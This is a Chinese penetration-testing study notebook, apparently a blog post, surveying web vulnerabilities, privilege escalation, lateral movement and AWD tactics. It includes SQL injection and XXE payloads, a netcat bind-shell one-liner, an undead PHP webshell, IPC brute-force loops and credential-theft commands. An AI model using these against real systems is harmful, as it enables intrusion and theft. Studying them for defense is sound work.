小迪渗透测试笔记
信息收集#
CDN绕过#
CDN内容分发网络,运行在现有网络基础上的智能虚拟网络,使用户就近获取所需内容降低网络拥塞
判断:利用多节点技术请求返回判断(使用超级ping)
绕过:
-
推测真实ip
子域名查询:可能子域名没有使用CDN,所以可以通过子域名推测主域名真实IP
邮件服务查询:邮件服务器可能没有CDN
国外地址请求:可能没有在国外部署CDN
通过遗留文件
扫描全网
zoomeye,shodan fofa.so搜索指定文件
查询DNS历史记录
get-site-ip网站 -
找到后更改本地hosts文件
搜集内容#
- 防火墙信息搜集:wafw00f工具
- 程序源码CMS
- 操作系统,数据库,中间件
- 站点信息搜集
- 目录型站点:不同目录下有不同应用,通过目录遍历
- 端口类站点:不同端口对于不同应用,端口扫描
- 子域名站点:不同子域名判断是否在同一个服务器
- 查看是否有类似域名
- 旁注,C段查询:旁注可能不同站点在同一个服务器上,C站同一网段有不同服务器
- 网站搭建软件的搜集
- APP通过抓包或反编译查看请求的web链接
- 第三方应用,支付存储接口等
web漏洞#
sql注入#
首先明确注入数据库的类型权限
其次明确提交的方法和参数类型等
如果有高权限可以进行文件读写,命令执行等获取shell
否则可以注入数据库,对数据库信息查询,找后台登录
mysql#
一般思路
- 判断注入
可以通过传入错误参数看页面是否有变化判断 - 猜解列名数量
id=1 order by 3 - 报错
id=-1 union select 1,2,3
看显示的为1,2,3中哪个字段,比如显示2 - 信息搜集
id=-1 union select 1,version(),3
version()数据库版本
database()数据库名称
user()数据库用户
@@version_compile_os操作系统 - 查询
低版本通过爆破
在mysql5.0以上存在自带数据库information_schema,它保存所有数据库名,表名,列名,所以可以通过它获取数据库下表名列名信息
information_schema.tables记录所有表名信息的表
informaion_schema.colums记录所有列名信息的表
information_schema.schemata记录所有数据库名
table_name表名
colum_name列名
table_schema数据库名
查询时多个数据通过group_concat()连接起来显示
多个数据也可以通过语句limit查询
文件读写操作
load_file()读取函数
outfile dumpfile写入函数
路径获取:报错显示,遗留文件,漏洞报错,平台配置文件,爆破等
如果有魔术引号:
magic_quotes_gpc是配置在php.ini中打开等
通过16进制编码或宽字节
明确注入参数类型
注入参数可能是数字,字符串,json等,所以在注入时考虑单引号,双引号,括号等闭合
明确请求方法
注入位置可能有get数据,post数据,后数据包头的参数,如cookie等
oracle和mongodb#
access没有数据库名
盲注
可能由于sql为插入,更新等操作,或网站的设置,在注入过程中获取的数据不能回显,需要通过其它方法判断
- 布尔盲注
通过与逻辑进行判断 - 时间盲注
使用if,sleep
sleep(a,b,c)如果a成立则执行b,否则执行c - 报错盲注
使用函数floor,updatexml,extractvalue - 常用进行猜解匹配函数
like 通配符匹配
regexp
mid(a,b,c)从b位置开始,截取a的c位
substr(a,b,c)从b开始,截取阿德c位
left(a,b)从左侧截取a的前b位
length()返回长度
ascii()获得字符ascii码
二次注入
输入的参数被保存在数据库中,之后该数据被取出带入sql中,从而触发注入
dns带外注入
ceye.io
堆叠注入
多条sql语句一起执行(可以自定义一些语句,从而执行),可能有些数据库不支持这种注入
waf绕过#
通过数据操作绕过
- 大小写
- 编码解码
- 换用其它等价函数
- 用特殊符号,如换行符
- 反序列化
- 注释符,如mysql中的/**/
通过数据提交方式绕过
网站必须支持这种提交方式,比如get换为post
其它
- 参数污染
比如在mysql中,同时给参数传入两个参数,它只接受第二个。如传入id=1/**-1 union select 1,2,3#*/
由于/***/起注释作用,可能通过防火墙检测,而由于参数污染,传入的id值为-1 union select 1,2,3#
- 数据库特性
如mysql中/*!50001 select * from test */
表示如果数据库是5.00.01以上的版本,语句才会执行,可以通过这种语句干扰waf检测 - fuzz模糊测试
- 由于测试请求过于频繁,可能被禁止访问。这时可以通过修改user-agent伪装为官方的爬虫搜索引擎
文件上传#
验证的部位#
- 文件后缀名
- 文件类型即MIME信息
- 文件内容头信息
绕过验证#
前端验证禁用绕过js即可,后端验证分为黑名单和白名单
黑名单
- 特殊解析后缀(apache的php3等)
- .htaccess
- 大小写绕过
- 点绕过
windows特性会在保存文件时自动忽略文件最后一个点 - 空格绕过
windows特性会在保存文件时自动忽略文件最后一个空格 ::$$DATA
绕过
php在window时,如果文件名后::$$DATA
,那么会把::$$DATA
之后的数据当做文件流处理- 配合解析漏洞
- 双后缀名绕过
白名单
- MIME
- %00截断
- 0X0a截断
其它
- 文件内容头检测
- 二次渲染
- 条件竞争
- getimagesize和exif_imagetype函数
php使用此函数获取图片信息,需要有文件包含漏洞,上传图片木马 - 目录命名
上传如x.php/.的后缀名文件,依然按php文件处理 - 脚本函数漏洞
- 数组接受+目录命名
漏洞产生原因#
- 代码逻辑
- 解析漏洞
- 中间件漏洞
- 编辑器漏洞
https://navisec.it/%e7%bc%96%e8%be%91%e5%99%a8%e6%bc%8f%e6%b4%9e%e6%89%8b%e5%86%8c/ - CMS
绕过waf#
更改数据包中内容
content-disposition
filename
content-type
绕过方法:
- 增加垃圾数据数据溢出
如在content-disposition后增加许多无关数据 - 符号变异(' " 😉
如更改正常filename字段为
filename="x.php
filename='x.php
filename="a.jpg;.php"; - 数据截断
%00 换行 - 重复数据
如在filename中插入正常的数据包中的字段
xss跨站#
反射型
存储型
dom型:代码通过本地浏览器静态前端代码处理
beef
http only#
cookie中设置了httponly属性,通过js脚本无法读取cookie信息
未保存的账号密码通过表单劫持:实现在登录页面已经插入恶意代码,恶意代码监听登录中账号密码的输入
保存的通过通过插入恶意代码读取浏览器中保存的
waf绕过#
- 标签语法替换
以不同的标签替换 - 特殊符号干扰
- 提交方式更改
- 垃圾数据溢出
- 加密解密算法
- 结合其它漏洞绕过
xsstrike
imxss
文件包含#
本地包含若无限制,可以直接读取执行文件内容,或者通过../../跨目录读取
若有限制,即通过include($filename.".html"
制定了包含文件类型:
- 如果php<5.3.4且magic_quotes_gpc=off可以在文件名后使用%00截断
- 或者在文件名后加. ./ ? %23等垃圾数据到一定程度
远程包含也类似
php伪协议#
http://www.cnblogs.com/endust/p/11804767.html
反序列化#
序列化是将对象转换为字符串,反序列化相反,对象的序列化有利于对象的保存传输和分享
php反序列化#
未对用户输入的序列化字符串进行检测,导致用户可以控制反序列化过程,从而导致代码执行,注入,目录遍历
php中序列化实现函数
serialize()将对象转换为一个字符串
unserialize()将字符串转化为对象
序列化后的含义
分为有类和无类两种,有类时,
php类中有魔术方法
__construct();创建对象时出发
__destruct();对象销毁时触发等
如果在反序列化时传入设计的序列化后的类,可能执行类中的魔术方法,导致攻击
java反序列化#
序列化作用:利用序列化将程序运行的对象状态以二进制形式存储在文件系统中,然后可以利用反序列化恢复对象
工具:ysoserial
java中序列化实现函数
ObjectOutputStream类->writeObject()序列化将字节流写到.ser文件中
ObjectInputStream类->readObject()反序列化
一段数据以rO0AB开头,那么这串数据就是java序列化后base64编码后的
以aced开头,就是java序列化后的16进制
逻辑越权#
越权#
- 水平越权
更换身份标识后,获取另一个账号数据权限 - 垂直越权
通过低权限身份,发送高权限才有的请求,获得高权限操作
csrf#
防御方法
- 用户发送请求时需要输入原始密码
- 设置随机token
- 检查referer来源,请求时判断请求链接是否为管理员正在使用页面
- 设置验证码
- 请求方式限制为post
ssrf#
由于服务器提供了从其它服务器获取数据的功能,却没有对目标做出过滤,可以利用此服务器访问原本无法访问的内网
可能存在漏洞的地方:
- 通过url分享网页的内容
- 通过url把原始的网页调优使其适合手机屏幕浏览
- 通过url地址翻译对应文本的内容
- 通过url地址加载或下载图片
- 图片文章收藏功能
- 其它调用url的功能
可以通过此进行漏洞扫描,指纹扫描,或者通过file,ftp等协议读取文件
xxe安全#
xml是数据传输和存储的格式。在应用解析xml输入时,没有禁止外部实体加载,导致可加载外部文件,造成文件读取,命令执行,内网攻击等危害
工具:xxeinjector
判断:
- 如果数据包中数据格式为标签格式
- 数据包中content-type为中有xml字样
内网探测
判断应用端口是否开放
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo[
<!ELEMENT foo ANY>
<!ENTITY rabbit SYSTEM "地址“”>
]>
<x>&rabbit;</x>
引入外部实体dtd
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test[
<!ELEMENT % file SYSTEM "http://地址文件>
%file;
]>
<x>&rabbit;</x>
而该文件可以是读取系统中的某个文件,从而可以绕过一些检查
<!ENTITY send SYSTEM "file:///d:/test.txt">
读文件
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY send SYSTEM "file:///d:/test.txt">
]>
<x>&send;</x>
读文件绕过
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY send SYSTEM "php://filter/read=convert.base64-encode/resource=文件">
]>
<x>&send;</x>
读无回显的可以在读取的时候写到远程的文件中
其它#
java安全#
sql注入防御#
- 利用session防御,session内容正常情况下用户无法修改
- 参数绑定
利用了sql预编译技术
String query ="SELECT * FROM users WHERE last_name=?";
PreparedStatement statement =connection.prepareStatement(query);
statement.setString(1,accountNmae);
Resultset results =statement.executeQuery();
使用PreparedStatement方式进行sql查询时,SQL语句被预编译存储在PreparedStatemen对象中,通过connect对象的preparedStatement方法调用PreparedStatement对象使用
PreparedStatement对象中?表示需要传入的参数,通过setString等方法设置参数,方法中前一个参数为索引号
使用PreparedStatement进行参数化查询可以阻止大部分sql注入
但是可以使用case when语句将order by后的orderExpression表达式中添加select语句
jwt安全#
json web token是一种跨域验证身份的方案。
jwt分为头部,声明,签名三个部分,以英文句号隔开,以base64url进行编码
头部中alg参数说明这个签名使用的算法,可以设置为none不进行签名
typ参数说明这个token的类型
签名时服务端有密钥,使用头部指定的算法对前两个部分进行加密作为签名
waf绕过#
信息搜集绕过#
数据包中更改请求方式,user-agent伪装成爬虫,更改包中数据模拟真实用户
请求使用延时技术,使用代理池用多个ip扫描
权限控制#
通过以下方法绕过:
- 变量覆盖
通过控制参数来控制木马
$a=$_GET['x'];//传入x=b就成了$a=b
$$a=$_GET['y'];//其实就成了$b=$_GET['y']
$b($_POST['z']);//传入x=b y=assert后就拼接成了assert($_POST['z'])
- 加密混淆
- 异或生成
代码审计#
工具:RIPS Fortify Seay
思路:
- 搜索特殊函数
- 搜索关键字
- 通过功能判定可能存在漏洞
权限提升#
漏洞溢出#
windows systeminfo查看补丁
wes工具可以进行补丁筛选,扫描漏洞
数据库提权#
mysql#
- UDF提权
首先需要得到root用户密码
可以通过数据库配置文件了解
通过数据库备份文件查看
利用脚本进行本地或远程暴力破解
之后利用select version()查看数据库版本,利用select @@basedir查看安装命令
<5.1 导出目录c:/window或system32
=>5.1 导出安装目录/lib/plugin/
plugin目录需要手工创建
select 'x' into dumpfile '目录/lib/plugin::INDEX_ALLOCATION';
将写好的.dll扩展上传到指定目录后,需要CREATE FUNCTION引入
2. MOF提权
sql server#
- 使用xp_cmdshell提权
默认关闭,需要管理员用户sa使用sp_configure开启
开启:
EXEC sp_configure 'show advances options', 1
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
执行:
EXEC master.dbo.xp_cmdshell, '系统命令' - 使用sp_oacreate提权
- 使用沙盒进行提权
blog.51cto.com/11797152/2411770
redis#
- 利用计划任务反弹shell
- 如果以root用户登录,可以写入ssh公钥文件,从而直接登录服务器
- 低权限写入webshell
postgresql#
9.3-11版本中,管理员或者具有'copy to/from program'权限的用户可以执行任意命令
令牌窃取#
在已经有后门情况下
上传烂土豆,执行execute -cH -f ./potato.exe
msf使用窃取模块窃取系统用户令牌提权
use incognito
list_tokens -u
impersonate_token "NT AUTHORITY\SYSTEM"
dll劫持#
如果服务器使用一些第三方应用,可以使用msf生成dll后门文件,替换原有文件的dll,当该应用运行时就会获取webshell,从而可以进一步通过令牌窃取等获取权限
服务路径不带引号#
windows服务的执行路径如果没有带引号,且路径中间存在空格,那么操作系统可能将空格后的当做参数
所以可以制作以路径空格前的名字命名的文件,上传后,当服务重启后就可执行该文件
执行路径没有带引号的检测方法
wmic service get name,diaplayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\" |findstr /i /v """
服务权限配置不当#
使用微软工具accesschk查看用户对服务拥有什么权限,如果权限较高,可以上传文件,将服务路径指向该文件,服务重启后执行
linux#
漏洞扫描工具:linux-exploit-suggester2
信息搜集工具:linenum,linuxprivchecker
suid#
查找有suid权限的程序,其中可能有利用的程序有:
nmap
vim
less
more
nano
cp
mv
find
不同的程序有不同的利用方法如find为
touch xx
find xx -exex 命令 ;
反弹shell
find xx -exec netcat -lvp duank -e /bin/sh ;
cve-2016-5195脏牛漏洞#
定时任务提权#
- 查看有root权限的定时任务
通过在当前用户的目录下/home/用户/ 上传与定时任务同名可执行程序
定时任务启动时可能执行上传的文件 - 如果定时任务文件分配的权限够大,其它用户可以修改覆盖该等时任务,变成自己想要执行的文件或命令
- 利用通配符配合命令参数自定义命令提权
备份时经常使用打包命令tar,如果其使用了通配符*,则可以利用
首先向要打包的目录里写入
再生成两个特殊命名的空文件
echo "">"--checkpoint-action=exec=sh xx.sh"
echo "">--checkpoint=1
当定时打包时,会将上两个特殊命名的文件当做命令参数执行,而这个命令参数又是运行了提前写好的xx.sh,而xx.sh的内容是生成shell,最终实现了提权
内网安全#
信息搜集#
- 计算机信息
systeminfo 计算机详细信息
net start 计算机启动服务
tasklist 计算机进程列表
schtasks 计划任务 - 网络信息
判断存在的域
ipconfig /all
net view /domain
net time /domain 判断主域
nslookup 域名 判断域名ip地址
net stat -ano 判断端口开放 - 用户信息
对主域有控制权的用户
domain admins
enterprise asmins
whoami /all 判断当前用户权限
net config workstation 查看登录信息
net user 获取本地用户
net loaclgroup 获取本地用户组
net user /domain 获取域用户信息
net group /domain 获取域用户组信息
wmic useraccount get /all 获取域用户详细信息
net group "domain admins" /domain
net group "enterprise admins" /domain
net group "domain controllers" /domain - 账户信息
获取计算机上账户和密码工具:mimikatz(win)
如果mimikatz被拦截,可以通过微软官方工具procdump获取密码文件后,再用mimikatz打开
获取计算机上保存的所有密码信息:lazagne,xenarmor - 内网主机信息
对内网存活主机扫描
for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.1.%I findstr "TTL="
功能强大的powershell脚本nishang empire
使用:
设置执行策略:set_executionpolicy remotesigned
导入模块: import_module .\nishang.psml
端口扫描:invoke_portscan -startaddress IP -endaddress ip -resolvehost -scanport
横向渗透#
计划任务#
在拿下一台内网主机后,可以通过minikatz得到主机中的密码信息
之后可以根据这些密码信息作为密码字典对内网中其它主机爆破
得到密码后就可通过IPC进行连接
之后可以执行创建计划任务,执行远程命令等操作,攻破该主机
逐步攻破内网
爆破时通过IPC连接
IPC连接失败原因
目标系统不是NT及以上系统
没有打开IPC$共享
没有开启139、445端口,或被防火墙屏蔽
密码,账户,命令错误
如果连接本地账户
net use \\ip\ipc$"密码" /user:用户名
如果是域内用户需要在后面改为```/user:domain\username
爆破时批量检测示例
如检测IP,就将上述命令ip替换
FOR /F %%i in (ip字典) do net use \\%%i\ipc$"密码" /user:用户名
也可使用python编写,编译为可执行文件
for i in ip:
for j in user:
for pass in password:
exec="net use \\"+ "\\" +ip+'\ipc$'+mima+'/user:god\\'+user
os.system(exec)
如果只能获取密码哈希值,可以如下解决
利用hash值认证,如:可以使用atexec-impacket工具
使用SMB、WMI等协议
通过hashcat等工具对hash值进行爆破
修改注册表开启wdigest auth
reg add
HKLM\SYSTEM\CurrentControlSet\Control\SecurityProciders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
之后对于win2012以下版本可以通过at创建定时任务,以上版本可以使用schtasks命令
smb#
当445端口开放,可以使用工具pseexec或smbexec使用口令或者口令的哈希值进行连接
wmic#
使用工具wmic连接
wmic /node:ip /user:用户 /password:密码 process call create "cmd.exe /c 命令 >c:\1.txt"
使用cscript,需要配合wmiexec.vbs
使用wmiexec
PTH,PTT,PTK#
PTH使用lm或ntlm哈希值进行连接
PTT使用票据凭证连接
PTK使用ekeys进行连接
如果有了KB2871997补丁后,不能使用哈希值进行连接,但是administrator可以,另外在打了补丁后可以使用ekeys进行连接
PTT是利用kerberos协议进行攻击
基于ms14-068漏洞可以伪造票据将自己的普通用户权限提升至域控权限,但是微软给出了kb3011780补丁
- whoami/user查看当前sid
- klist查看当前缓存票据,klist purge清空保存票据
- 利用ms14-068伪造票据
ms14-068.exe -u 域成员名@域名 -s sid -d 域控制器地址 -p 域成员密码 - 利用mimikatz将票据注入内存
如果本机用于管理员权限,且之前和域控连接过,可以使用mimkatz导出之前使用的票据,再注入内存进行连接
工具ladon
SPN#
SPN在kerberos中用于唯一标识服务实例名称
- 通过setspn -q /查找服务,其中的服务可能有MSSQL,WAMAN,Exchange,TERMSERV,Hyper-V Host
- 请求该服务
Add-Type -AssemblyName System.IdentityModel
cobaltstrike#
代理技术#
ngrok工具
在官网配置好信息后,下载客户端到本机,并启动
本机生成木马,地址和端口绑定为配置好的代理信息,并在本机监听
frp工具
信息搜集几条命令
获取网络接口 run get_local_subnets
查看路由地址 run autoroute -p
添加路由地址 run autoroute -s 网段
得攻破目标1后,在目标1添加路由,然后通过msf开启本地代理
use auxiliary/server/socks4a
set srvport 端口
exploit
之后就可以在攻击机上通过该代理访问目标2
攻破目标2后生成正向后门,使目标2监听某一端口
接着使用msf连接这一端口
之后在目标2配置路由,开启代理
隧道技术#
常用隧道
网络层:ipv6隧道,icmp隧道
传输层:tcp隧道,udp隧道
应用层:ssh隧道,http/s隧道,dns隧道
为了判断目标是否支持该协议可使用如下命令
tcp: nc ip 端口
http: curl ip:端口
icmp: ping命令
dns: nslookup或dig
伪装icmp流量:工具pingtunnel
传输层:
工具portmap
工具netcat
应急响应#
工具PChunter64 hkkvjuvffo
获取执行列表工具 UserAssistView
360星图日志分析工具
elk日志分析
splunk日志分析
fileseek搜索软件
gscan 自动化响应工具
win日志分析工具 LogonTracer
应急响应工具箱 ir-rescue
工具
红蓝对抗#
awd#
- 备份网站文件
- 部署waf:工具aoiawd
- 修改弱口令
- 扫描后门:seay和audit workbench
- 关闭不必要端口
- 查看是否有特殊进程
- 代码审计
- 使用脚本对文件监控:自动删除,恢复,备份文件
- 使用脚本记录日志:分析攻击行为修复漏洞或者借鉴去攻击其它队伍
- 批量flag,自动获取flag并提交
- 使用不死马
<?php
ignore_user_abort(true);//进程运行
set_time_limit(0);//无限制运行
unlink(__FILE__);//删除自己,防止查杀
$code=
$file=
//死循环,不断将code的内容写入file文件中
while(1){
file_put_contents($file,$code);
usleep(1000);
}
?>
不死马的防御:
ps auxww|grep 木马文件 找到pid,杀掉进程
重启php等web服务
和木马竞争,也用一个ignore_user_abort(true);的脚本,向file中写入无害的内容
创建和file文件名字一样的文件夹
12. 恶意发送一些流量,扰乱他人日志记录,浪费别人时间
13. 由于flag大部分可能为批量脚本利用,所以在发现别人攻击自己的数据包时,也可以利用此包攻击他人
护网#
文档书写参考:mitre ATT&CK
https://attack.mitre.org/matrices/enterprise
蜜罐:hfish
防火墙:openrasp
HIDS:yulong和wazuh
木马在线分析:微步在线云沙箱,奇安信威胁情报中心等在线工具
src#
查看最新公开漏洞
搜索
利用公开漏洞刷
或者下载网站源码,分析后通过搜索查找真实网站
java net反编译源码工具dnspy
js接口查找工具 jsfinder
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】凌霞软件回馈社区,博客园 & 1Panel & Halo 联合会员上线
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】博客园社区专享云产品让利特惠,阿里云新客6.5折上折
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· PowerShell开发游戏 · 打蜜蜂
· 在鹅厂做java开发是什么体验
· 百万级群聊的设计实践
· WPF到Web的无缝过渡:英雄联盟客户端的OpenSilver迁移实战
· 永远不要相信用户的输入:从 SQL 注入攻防看输入验证的重要性